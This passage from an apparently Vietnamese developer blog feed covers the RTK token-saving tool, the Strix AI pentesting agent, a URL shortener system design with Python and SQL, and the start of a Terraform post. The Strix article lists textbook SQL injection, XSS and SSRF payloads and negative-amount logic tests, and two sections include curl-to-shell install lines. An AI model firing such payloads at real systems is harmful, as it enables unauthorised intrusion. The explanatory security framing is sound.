&lt;h2&gt;Token Tiết Kiệm Được Bao Nhiêu?&lt;/h2&gt;
&lt;p&gt;Trong một phiên Claude Code 30 phút:&lt;/p&gt;
&lt;p&gt;| Lệnh | Gốc | RTK | Tiết kiệm |
|---|---|---|---|
| &lt;code&gt;cat&lt;/code&gt; / &lt;code&gt;read&lt;/code&gt; | 40,000 | 12,000 | -70% |
| &lt;code&gt;git diff&lt;/code&gt; | 10,000 | 2,500 | -75% |
| &lt;code&gt;git status&lt;/code&gt; | 3,000 | 600 | -80% |
| &lt;code&gt;cargo test&lt;/code&gt; / &lt;code&gt;npm test&lt;/code&gt; | 25,000 | 2,500 | -90% |
| &lt;code&gt;ls&lt;/code&gt; / &lt;code&gt;tree&lt;/code&gt; | 2,000 | 400 | -80% |
| Tổng | ~118,000 | ~23,900 | -80% |&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;p&gt;RTK có mặt trên Homebrew:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install rtk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc dùng script một lệnh:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cài qua Cargo:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cargo install --git https://github.com/rtk-ai/rtk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kiểm tra:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rtk --version
rtk gain # Token savings stats
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cách Dùng&lt;/h2&gt;
&lt;h3&gt;1. Init cho AI tool của bạn&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rtk init -g # Claude Code / Copilot (mặc định)
rtk init -g --gemini # Gemini CLI
rtk init -g --agent cursor # Cursor
rtk init -g --opencode # OpenCode
rtk init --agent cline # Cline / Roo Code
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó restart AI tool — mọi lệnh shell sẽ tự động chạy qua RTK.&lt;/p&gt;
&lt;h3&gt;2. Dùng trực tiếp (không cần hook)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rtk ls . # Directory tree nén
rtk read file.rs # File reading thông minh
rtk git status # Git status gọn
rtk git diff # Diff nén
rtk cargo test # Test output - failures only (-90%)
rtk pytest # Python test - failures only
rtk docker ps # Container list gọn
rtk kubectl pods # Pod list gọn
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bốn Chiến Thuật Lọc&lt;/h2&gt;
&lt;p&gt;RTK áp dụng bốn chiến thuật tuỳ theo từng loại lệnh:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Smart Filtering — Loại comment, whitespace, boilerplate&lt;/li&gt;
&lt;li&gt;Grouping — Gộp file theo thư mục, lỗi theo loại&lt;/li&gt;
&lt;li&gt;Truncation — Giữ context liên quan, cắt redundant&lt;/li&gt;
&lt;li&gt;Deduplication — Gộp log lặp kèm đếm số lần&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Ví dụ &lt;code&gt;cargo test&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Gốc (200+ dòng)
running 15 tests
test utils::test_parse ... ok
test utils::test_format ... ok
test services::test_login ... ok
...
test edge_case ... FAILED
test overflow ... FAILED

# RTK (~20 dòng)
FAILED: 2/15 tests
  test_edge_case: assertion failed
  test_overflow: panic at utils.rs:18
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hệ Thống Tee — Không Mất Thông Tin&lt;/h2&gt;
&lt;p&gt;Khi lệnh fail, RTK tự động lưu output gốc đầy đủ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;FAILED: 2/15 tests
[full output: ~/.local/share/rtk/tee/1707753600_cargo_test.log]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Agent vẫn có thể đọc log đầy đủ nếu cần, không mất thông tin chẩn đoán.&lt;/p&gt;
&lt;h2&gt;Hỗ Trợ 14+ AI Tool&lt;/h2&gt;
&lt;p&gt;RTK tích hợp với hầu hết AI coding tool hiện tại — Claude Code, Copilot, Cursor, Cline, Gemini CLI, OpenCode, Windsurf, Codex, Hermes, và nhiều tool khác. Dùng &lt;code&gt;rtk init -g --agent &amp;#x3C;tool&gt;&lt;/code&gt; để kích hoạt.&lt;/p&gt;
&lt;h2&gt;So Sánh Với Giải Pháp Khác&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | RTK | Prompt thủ công | Tăng context window |
|---|---|---|---|
| Token savings | 60-90% | 0-20% | 0% |
| Tự động | Có (hook) | Không | Không |
| Chi phí | Miễn phí | 0 | Tăng bill |
| Overhead | &amp;#x3C;10ms | 0 | latency cao hơn |&lt;/p&gt;
&lt;h2&gt;RTK Có Thu Thập Dữ Liệu Không?&lt;/h2&gt;
&lt;p&gt;RTK có telemetry nhưng mặc định tắt, phải opt-in. Dữ liệu thu thập là anonymous aggregate — lệnh count, token saved — không có source code, file path, hay secrets.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rtk telemetry status # Kiểm tra
rtk telemetry enable # Bật (nếu muốn)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;RTK là công cụ không thể thiếu nếu bạn dùng AI coding agent hàng ngày. 80% token savings đồng nghĩa với 80% chi phí rẻ hơn, context rộng hơn, phản hồi nhanh hơn — mà không cần thay đổi thói quen làm việc.&lt;/p&gt;
&lt;p&gt;Một binary Rust, không dependency, cài 10 giây — ROI gần như ngay lập tức.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rtk-ai/rtk&quot;&gt;RTK (Rust Token Killer) GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rtk-ai/rtk?tab=readme-ov-file#installation&quot;&gt;RTK Installation Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rtk-ai/rtk?tab=readme-ov-file#ai-tool-integrations&quot;&gt;RTK AI Tool Integrations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Strix — AI Hacker Mã Nguồn Mở Tự Động Tìm Lỗ Hổng Bảo Mật</title><link>https://dopana-blog.pages.dev/blog/strix-ai-security</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/strix-ai-security</guid><description>Strix là AI Security Agent mã nguồn mở — tự động phân tích ứng dụng, tìm lỗ hổng, khai thác thử, tạo PoC và báo cáo. Pentest tự động bằng AI.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Strix là dự án open-source xây dựng AI Security Agent có khả năng hoạt động giống một hacker bảo mật — phân tích ứng dụng, tìm lỗ hổng, thử khai thác, tạo Proof-of-Concept (PoC), đưa báo cáo và hướng sửa.&lt;/p&gt;
&lt;p&gt;Nói đơn giản: Strix biến AI thành pentester tự động.&lt;/p&gt;
&lt;h2&gt;Vấn Đề Strix Giải Quyết&lt;/h2&gt;
&lt;p&gt;Developer tập trung vào tính năng, tốc độ, UX — bảo mật thường bị bỏ sót. Một API đơn giản:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /api/user?id=123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Developer nghĩ &quot;lấy thông tin user&quot;. Hacker thử &lt;code&gt;id=124&lt;/code&gt; — nếu xem được user khác → lỗi IDOR.&lt;/p&gt;
&lt;p&gt;Các lỗi phổ biến: SQL Injection, XSS, SSRF, Authentication bypass, Privilege escalation, Business logic bug.&lt;/p&gt;
&lt;p&gt;Trước đây cần security engineer, pentest thủ công, bug bounty researcher — tốn thời gian, chi phí, khó làm liên tục. Strix tự động hoá quá trình này.&lt;/p&gt;
&lt;h2&gt;Strix Khác Tool Scan Truyền Thống&lt;/h2&gt;
&lt;p&gt;Tool truyền thống: Rule → Pattern → Warning (ví dụ thấy &lt;code&gt;SELECT * FROM users WHERE id=&lt;/code&gt; + input → báo SQL Injection).&lt;/p&gt;
&lt;p&gt;Strix: Hiểu ứng dụng → Tìm điểm yếu → Thử tấn công → Xác nhận lỗi → Tạo PoC.&lt;/p&gt;
&lt;p&gt;Nó không chỉ nói &quot;có thể có SQL Injection&quot; — nó gửi payload, chạy request, chứng minh lỗi. Validation bằng khai thác thật.&lt;/p&gt;
&lt;h2&gt;AI Agent, Không Phải Chatbot&lt;/h2&gt;
&lt;p&gt;Strix có agent có khả năng đọc code, chạy ứng dụng, gọi API, thao tác browser, chạy command, viết script test, phân tích kết quả.&lt;/p&gt;
&lt;p&gt;Với một ứng dụng web có Login, Dashboard, Payment API, Admin panel — agent có thể tự tìm endpoint, test authentication, thử bypass quyền, kiểm tra logic thanh toán, tạo báo cáo.&lt;/p&gt;
&lt;h2&gt;Kiến Trúc Multi-Agent&lt;/h2&gt;
&lt;p&gt;Nhiều AI agent phối hợp:&lt;/p&gt;
&lt;p&gt;| Agent | Nhiệm vụ |
|---|---|
| Authentication | Login, JWT, session, permission |
| Injection | SQL, Command Injection, XSS |
| Logic | Race condition, workflow bug, business logic |&lt;/p&gt;
&lt;p&gt;Các agent chia sẻ kết quả để tìm attack path — giống một team pentest thực thụ.&lt;/p&gt;
&lt;h2&gt;Bộ Công Cụ Hacker&lt;/h2&gt;
&lt;p&gt;HTTP Proxy — xem, sửa request, thay payload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /transfer { &quot;amount&quot;: 100 }
→ { &quot;amount&quot;: -100 }  // test lỗi logic
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Browser Automation — test login flow, UI, XSS, CSRF.&lt;/p&gt;
&lt;p&gt;Terminal — chạy curl, python, nmap.&lt;/p&gt;
&lt;p&gt;Python Runtime — tự viết script exploit.&lt;/p&gt;
&lt;h2&gt;Các Loại Lỗi Tìm Được&lt;/h2&gt;
&lt;p&gt;| Loại | Ví dụ |
|---|---|
| SQL Injection | &lt;code&gt;1 OR 1=1&lt;/code&gt; → kiểm tra kết quả |
| XSS | &lt;code&gt;&amp;#x3C;script&gt;alert(1)&amp;#x3C;/script&gt;&lt;/code&gt; |
| Auth Bypass | &lt;code&gt;/admin&lt;/code&gt; không cần login |
| SSRF | &lt;code&gt;/fetch?url=http://localhost/admin&lt;/code&gt; |
| Business Logic | &lt;code&gt;{ &quot;price&quot;: -100 }&lt;/code&gt; → tạo tiền |&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;p&gt;Yêu cầu Docker + API key:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -sSL https://strix.ai/install | bash

export STRIX_LLM=&quot;openai/gpt-5.4&quot;
export LLM_API_KEY=&quot;your-key&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Scan project:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;strix --target ./my-app
strix --target https://github.com/company/project
strix --target https://example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CI/CD Integration&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Pull Request → GitHub Actions → Strix Scan → Block nếu có lỗi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ví dụ developer thêm &lt;code&gt;eval(user_input)&lt;/code&gt; — Strix phát hiện Remote Code Execution risk trước khi merge.&lt;/p&gt;
&lt;h2&gt;So Sánh&lt;/h2&gt;
&lt;p&gt;| Tool | Cách hoạt động |
|---|---|
| SonarQube | Static analysis |
| Semgrep | Rule-based pattern |
| Snyk | Dependency scanning |
| Strix | AI Agent pentesting (hiểu app → tấn công → verify → report) |&lt;/p&gt;
&lt;h2&gt;Ưu Điểm&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Gần với pentest thật — chạy app, thử khai thác&lt;/li&gt;
&lt;li&gt;Ít false positive — vì cố tạo PoC&lt;/li&gt;
&lt;li&gt;Developer dễ dùng — không cần chuyên sâu security&lt;/li&gt;
&lt;li&gt;Phù hợp AI era — code tạo nhanh, nhiều rủi ro, cần kiểm tra tự động&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Hạn Chế&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Phụ thuộc chất lượng model AI&lt;/li&gt;
&lt;li&gt;Cần thời gian chạy&lt;/li&gt;
&lt;li&gt;Không đảm bảo tìm mọi lỗi&lt;/li&gt;
&lt;li&gt;Cần quyền hợp pháp khi scan&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Strix đại diện cho hướng đi mới của application security: từ Developer → Security team → Pentest chuyển thành Developer code → AI Security Agent → Fix trước production.&lt;/p&gt;
&lt;p&gt;Với startup hoặc team nhỏ không có security engineer riêng, Strix là công cụ đáng chú ý — biến AI thành &quot;hacker ảo&quot; chạy liên tục trong quy trình phát triển.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://strix.ai&quot;&gt;Strix AI Official Website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/&quot;&gt;OWASP Testing Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/&quot;&gt;SonarQube Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://semgrep.dev/docs/&quot;&gt;Semgrep Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.snyk.io&quot;&gt;Snyk Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>System Design — Thiết Kế URL Shortener Từ A Đến Z</title><link>https://dopana-blog.pages.dev/blog/system-design-url-shortener</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/system-design-url-shortener</guid><description>Hướng dẫn thiết kế URL shortener (tinyurl, bitly) — hashing, BASE62, caching, database sharding, 301 vs 302, analytics. Kèm code demo.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Thiết kế URL shortener là bài toán kinh điển trong phỏng vấn system design. Nó tưởng đơn giản — nhưng ẩn chứa nhiều vấn đề thú vị: làm sao sinh short code duy nhất? Làm sao handle 10 tỷ URL? Cache thế nào? Redirect loại nào?&lt;/p&gt;
&lt;p&gt;Bài này thiết kế một URL shortener từ yêu cầu đến implementation.&lt;/p&gt;
&lt;h2&gt;Yêu Cầu&lt;/h2&gt;
&lt;h3&gt;Functional&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tạo short URL từ long URL&lt;/li&gt;
&lt;li&gt;Redirect short URL → long URL&lt;/li&gt;
&lt;li&gt;Optional: custom alias, expiry, analytics&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Non-Functional&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Highly available: Không downtime&lt;/li&gt;
&lt;li&gt;Low latency: Redirect &amp;#x3C; 10ms&lt;/li&gt;
&lt;li&gt;Scale: 100M URLs/month, 10K writes/sec, 100K reads/sec&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Estimations&lt;/h2&gt;
&lt;p&gt;| Metric | Value |
|---|---|
| Writes | 100M / tháng ≈ 38 / sec |
| Reads | 100× writes ≈ 3800 / sec → peak 10K / sec |
| Storage | 100M × 500 bytes ≈ 50 GB / năm |
| Bandwidth | Write: 38 × 500B ≈ 19 KB/s, Read: 3800 × 500B ≈ 1.9 MB/s |&lt;/p&gt;
&lt;h2&gt;Thiết Kế&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;                          ┌─────────────┐
                          │   Client     │
                          └──────┬──────┘
                                 │
                          ┌──────┴──────┐
                          │  Load Balancer │
                          └──────┬──────┘
                                 │
                    ┌────────────┴────────────┐
                    │    Web Server (stateless) │
                    └────────────┬────────────┘
                                 │
              ┌──────────────────┼──────────────────┐
              │                  │                   │
         ┌────┴────┐      ┌────┴────┐       ┌──────┴──────┐
         │  Redis   │      │  DB     │       │  Analytics   │
         │  Cache   │      │Primary  │       │  (async)     │
         └─────────┘      └────┬────┘       └─────────────┘
                               │
                         ┌────┴────┐
                         │  DB     │
                         │Replicas │
                         └─────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Base62 — Short Code&lt;/h2&gt;
&lt;p&gt;Short code cần: duy nhất, ngắn, URL-safe. Giải pháp: Base62 (a-z, A-Z, 0-9).&lt;/p&gt;
&lt;p&gt;| Số ký tự | Số lượng URL |
|---|---|
| 6 | 62⁶ ≈ 56 tỷ |
| 7 | 62⁷ ≈ 3,500 tỷ |
| 8 | 62⁸ ≈ 218,000 tỷ |&lt;/p&gt;
&lt;p&gt;7 ký tự đủ cho hầu hết hệ thống.&lt;/p&gt;
&lt;h3&gt;Cách 1: Hash + Collision&lt;/h3&gt;
&lt;p&gt;Hash MD5 long URL, lấy 7 ký tự đầu, check collision.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import hashlib, base62

def generate_short_code(long_url: str) -&gt; str:
    hash_bytes = hashlib.md5(long_url.encode()).digest()
    return base62.encode(int.from_bytes(hash_bytes[:7], &apos;big&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: deterministic (cùng URL → cùng code), không cần DB để sinh. Nhược: collision rate cao khi scale.&lt;/p&gt;
&lt;h3&gt;Cách 2: Distributed ID + Base62&lt;/h3&gt;
&lt;p&gt;Sinh unique ID từ distributed ID generator (Snowflake, Redis incr, PostgreSQL sequence), chuyển sang Base62.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import base62

def generate_short_code(db):
    # Redis INCR hoặc database sequence
    next_id = db.incr(&apos;url_counter&apos;)
    return base62.encode(next_id)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Chuyển ID → Base62
BASE62 = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;

def encode_base62(num: int) -&gt; str:
    if num == 0: return BASE62[0]
    chars = []
    while num &gt; 0:
        num, rem = divmod(num, 62)
        chars.append(BASE62[rem])
    return &apos;&apos;.join(reversed(chars))

# encode_base62(123456789) → &quot;8m0Kx&quot; (6 ký tự)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: không collision, đơn giản. Nhược: cần central ID generator.&lt;/p&gt;
&lt;h2&gt;Database Schema&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE urls (
    id BIGSERIAL PRIMARY KEY,
    short_code VARCHAR(10) UNIQUE NOT NULL,
    long_url TEXT NOT NULL,
    user_id BIGINT,
    custom_alias VARCHAR(20),
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT NOW(),
    updated_at TIMESTAMP DEFAULT NOW()
);

CREATE INDEX idx_short_code ON urls(short_code);

-- Analytics (separate DB hoặc Kafka → ClickHouse)
CREATE TABLE clicks (
    id BIGSERIAL PRIMARY KEY,
    short_code VARCHAR(10) NOT NULL,
    clicked_at TIMESTAMP DEFAULT NOW(),
    ip_address INET,
    user_agent TEXT,
    referer TEXT,
    country VARCHAR(2)
);

CREATE INDEX idx_clicks_code ON clicks(short_code, clicked_at);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;API Design&lt;/h2&gt;
&lt;h3&gt;Create short URL&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /api/shorten
Content-Type: application/json

{
  &quot;long_url&quot;: &quot;https://example.com/very/long/url&quot;,
  &quot;custom_alias&quot;: &quot;&quot;,      // optional
  &quot;expires_in_days&quot;: 30    // optional
}

Response: 201
{
  &quot;short_url&quot;: &quot;https://short.ly/abc1234&quot;,
  &quot;short_code&quot;: &quot;abc1234&quot;,
  &quot;expires_at&quot;: &quot;2026-07-31T10:00:00Z&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Redirect&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /abc1234

Response: 301 (permanent) hoặc 302 (temporary)
Location: https://example.com/very/long/url
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;301 vs 302&lt;/h2&gt;
&lt;p&gt;| Status | Ý nghĩa | Cache | Khi nào dùng |
|---|---|---|---|
| 301 | Moved Permanently | Browser cache | Long URL cố định, không cần analytics |
| 302 | Found | Không cache | Cần analytics (bitly pattern) |&lt;/p&gt;
&lt;p&gt;Bitly dùng 302 để track mỗi lần click. Nếu dùng 301, browser cache redirect → không gọi server → mất analytics.&lt;/p&gt;
&lt;h2&gt;Caching&lt;/h2&gt;
&lt;h3&gt;Cache Strategy&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Read:   GET short_code → check Redis → nếu miss → query DB → set Redis → redirect
Write:  POST long_url → sinh code → insert DB → set Redis
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import redis

r = redis.Redis(host=&apos;localhost&apos;, port=6379, decode_responses=True)

def get_long_url(short_code: str) -&gt; str | None:
    # Check cache
    long_url = r.get(f&quot;url:{short_code}&quot;)
    if long_url:
        return long_url
    
    # Cache miss → query DB
    row = db.query(&quot;SELECT long_url FROM urls WHERE short_code = %s&quot;, short_code)
    if row:
        r.setex(f&quot;url:{short_code}&quot;, 86400, row[&apos;long_url&apos;])  # TTL 24h
        return row[&apos;long_url&apos;]
    
    return None
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cache TTL&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Hot URLs: TTL dài (7 ngày), refresh mỗi lần access&lt;/li&gt;
&lt;li&gt;Cold URLs: TTL ngắn (1 giờ)&lt;/li&gt;
&lt;li&gt;LRU eviction khi đầy&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Cache Estimations&lt;/h3&gt;
&lt;p&gt;10K reads/sec, 80% cache hit → 8000 từ cache, 2000 từ DB. Với Redis cluster 3 node, mỗi node ~10GB RAM, chịu được ~50M entries.&lt;/p&gt;
&lt;h2&gt;Database Sharding&lt;/h2&gt;
&lt;p&gt;Khi URLs &gt; 1 tỷ, cần shard.&lt;/p&gt;
&lt;p&gt;Shard key: short_code (hash modulo N shards)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def get_shard(short_code: str) -&gt; int:
    return murmurhash(short_code) % NUM_SHARDS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vấn đề: thêm shard cần rebalance → consistent hashing.&lt;/p&gt;
&lt;h2&gt;Rate Limiting&lt;/h2&gt;
&lt;p&gt;Prevent abuse — giới hạn tạo URL mới:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Token bucket: 100 URLs/hour/user
def can_create_url(user_id: str) -&gt; bool:
    key = f&quot;rate:{user_id}:{datetime.now().hour}&quot;
    count = r.incr(key)
    if count == 1:
        r.expire(key, 3600)  # TTL 1 giờ
    return count &amp;#x3C;= 100
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Implementation Đơn Giản (Flask + Redis + PostgreSQL)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from flask import Flask, request, redirect, jsonify
import redis, base62, psycopg2

app = Flask(__name__)
r = redis.Redis(decode_responses=True)

@app.route(&apos;/shorten&apos;, methods=[&apos;POST&apos;])
def shorten():
    data = request.json
    long_url = data[&apos;long_url&apos;]
    
    # Sinh short code
    next_id = r.incr(&apos;global_counter&apos;)
    short_code = base62.encode(next_id)
    
    # Lưu DB
    cur = db.cursor()
    cur.execute(
        &quot;INSERT INTO urls (short_code, long_url) VALUES (%s, %s)&quot;,
        (short_code, long_url)
    )
    db.commit()
    
    # Cache
    r.setex(f&quot;url:{short_code}&quot;, 86400, long_url)
    
    return jsonify({&apos;short_url&apos;: f&apos;https://short.ly/{short_code}&apos;})

@app.route(&apos;/&amp;#x3C;short_code&gt;&apos;)
def redirect_url(short_code):
    # Check cache
    long_url = r.get(f&quot;url:{short_code}&quot;)
    
    if not long_url:
        cur = db.cursor()
        cur.execute(&quot;SELECT long_url FROM urls WHERE short_code = %s&quot;, (short_code,))
        row = cur.fetchone()
        if not row:
            return &quot;Not found&quot;, 404
        long_url = row[0]
        r.setex(f&quot;url:{short_code}&quot;, 86400, long_url)
    
    # Analytics async (Kafka hoặc queue)
    send_click_event(short_code, request)
    
    return redirect(long_url, code=302)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Evolution&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;V1: PostgreSQL + Redis (1M URLs/month)
    └── Đơn giản, đủ dùng cho MVP

V2: Add sharding + read replicas (100M URLs/month)
    └── Scale DB, cache cluster

V3: Add Kafka + ClickHouse (1B URLs/month)
    └── Analytics riêng, không ảnh hưởng redirect path

V4: Global load balancer + multi-region (10B+ URLs/month)
    └── Geo-routing, global Redis, active-active DB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bắt đầu đơn giản, scale dần. Không cần Kafka và ClickHouse từ ngày đầu.&lt;/p&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;URL shortener tưởng đơn giản nhưng dạy nhiều concept quan trọng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Base62 encoding — sinh short code&lt;/li&gt;
&lt;li&gt;Caching — Redis, TTL, LRU&lt;/li&gt;
&lt;li&gt;Database sharding — consistent hashing&lt;/li&gt;
&lt;li&gt;HTTP redirect — 301 vs 302&lt;/li&gt;
&lt;li&gt;Rate limiting — token bucket&lt;/li&gt;
&lt;li&gt;Analytics — async processing&lt;/li&gt;
&lt;li&gt;Evolution — từ simple đến global scale&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/donnemartin/system-design-primer/blob/master/solutions/system_design/pastebin/README.md&quot;&gt;System Design Primer — URL Shortener&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/&quot;&gt;Redis Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Base62&quot;&gt;Base62 Encoding&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/&quot;&gt;PostgreSQL Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://k6.io/docs/&quot;&gt;k6 Load Testing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Terraform — Infrastructure As Code Cho Developer Hiện Đại</title><link>https://dopana-blog.pages.dev/blog/terraform-iac</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/terraform-iac</guid><description>Terraform giúp quản lý hạ tầng (AWS, Cloudflare, GCP) bằng code. State management, module, workspace, best practices cho developer.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trước đây, quản lý hạ tầng là mở web console → click → nhập → nhớ. Mỗi server là một &quot;snowflake&quot; — cấu hình riêng, không ai dám chạm. Terraform thay đổi tất cả: hạ tầng là code, phiên bản hoá được, review được, tái tạo được.&lt;/p&gt;
&lt;h2&gt;Terraform Là Gì?&lt;/h2&gt;
&lt;p&gt;Terraform là Infrastructure as Code (IaC) tool của HashiCorp. Bạn định nghĩa tài nguyên (VM, database, DNS, CDN) trong file HCL, Terraform biến chúng thành hiện thực.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;main.tf
  |
  v
Terraform plan → Terraform apply
  |
  v
AWS / Cloudflare / GCP / Azure
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thay vì click 20 lần trong console để setup một server + database + DNS — bạn viết 30 dòng code và chạy &lt;code&gt;terraform apply&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Tại Sao IaC?&lt;/h2&gt;
&lt;p&gt;| Trước đây | Với Terraform |
|---|---|
| Click UI, không lưu lịch sử | Code trong Git, full audit trail |
| Cấu hình &quot;snowflake&quot; khác nhau | Môi trường giống hệt nhau |
| Rollback = click ngược | &lt;code&gt;git revert&lt;/code&gt; + &lt;code&gt;terraform apply&lt;/code&gt; |
| Setup mất vài giờ | &lt;code&gt;terraform apply&lt;/code&gt; vài phút |
| Sợ xoá instance | Destroy và recreate dễ dàng |&lt;/p&gt;
&lt;h2&gt;HCL Cơ Bản&lt;/h2&gt;
&lt;p&gt;Terraform dùng HCL (HashiCorp Configuration Language) — declarative, đọc được bằng tiếng Anh:&lt;/p&gt;
